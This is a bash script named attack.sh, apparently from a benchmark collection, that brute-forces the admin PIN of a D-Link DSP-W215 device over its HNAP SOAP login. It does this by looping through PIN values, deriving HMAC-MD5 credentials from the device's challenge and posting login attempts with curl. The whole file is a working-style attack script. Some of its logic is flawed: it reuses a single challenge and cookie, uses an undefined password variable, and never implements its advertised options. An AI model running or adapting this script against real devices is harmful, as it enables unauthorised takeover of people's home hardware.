benchmarks/other/DLinkAlarm/attack.sh

   1 #!/bin/bash
   2 #modify next two line for your DSP-W215
   3 IP="192.168.0.35"
   4 PIN=215530
   5 #do not modify after this line if you don't know what you are doing
   6
   7 function usage {
   8         echo -e "\nUsage: $(basename $0) [OPTION]"
   9         echo -e "\nOPTION:"
  10         echo -e "\t--getstate"
  11         echo -e "\t--stop"
  12   echo -e "\t--noise SoundType(1-6) Volume(0-100) Duration(??)"
  13 }
  14
  15 function hash_hmac {
  16   data="$1"
  17   key="$2"
  18   echo -n "$data" | openssl dgst "-md5" -hmac "$key" -binary | xxd -ps -u
  19 }
  20
  21 contentType="Content-Type: text/xml; charset=utf-8"
  22 soapLogin="SOAPAction: \"http://purenetworks.com/HNAP1/Login\""
  23
  24 #Get Login data
  25
  26 head="<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>"
  27 end="</soap:Body></soap:Envelope>"
  28
  29 message="<Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>admin</Username><LoginPassword>$password</LoginPassword><Captcha/></Login>"
  30 loginrequest="$head$message$end"
  31
  32 ret=`curl -s -X POST -H "$contentType" -H "$soapLogin" --data-binary "$loginrequest" http://$IP/HNAP1`
  33
  34 function getResult {
  35   opt=`echo -n "$ret" | grep -Po "(?<=<$1>).*(?=</$1>)"`
  36   echo -n "$opt"
  37 }
  38
  39 PIN=0
  40
  41 while true
  42       do
  43 echo -e $PIN
  44 let PIN=$PIN+1
  45 challenge=`getResult Challenge`
  46 cookie="Cookie: uid=`getResult Cookie`"
  47 publickey="`getResult PublicKey`$PIN"
  48 privatekey=`hash_hmac "$challenge" "$publickey"`
  49 password=`hash_hmac "$challenge" "$privatekey"`
  50 timestamp=`date +%s`
  51 auth_str="$timestamp\"http://purenetworks.com/HNAP1/Login\""
  52 auth=`hash_hmac "$auth_str" "$privatekey"`
  53 hnap_auth="HNAP_AUTH: $auth $timestamp"
  54
  55 message="<Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>login</Action><Username>admin</Username><LoginPassword>$password</LoginPassword><Captcha/></Login>"
  56
  57 login="$head$message$end"
  58
  59 #Get Login Result
  60 mret=`curl -s -X POST -H "$contentType" -H "$soapLogin" -H "$hnap_auth" -H "$cookie" --data-binary "$login" http://$IP/HNAP1`
  61
  62 echo -e "$mret"
  63
  64 done
  65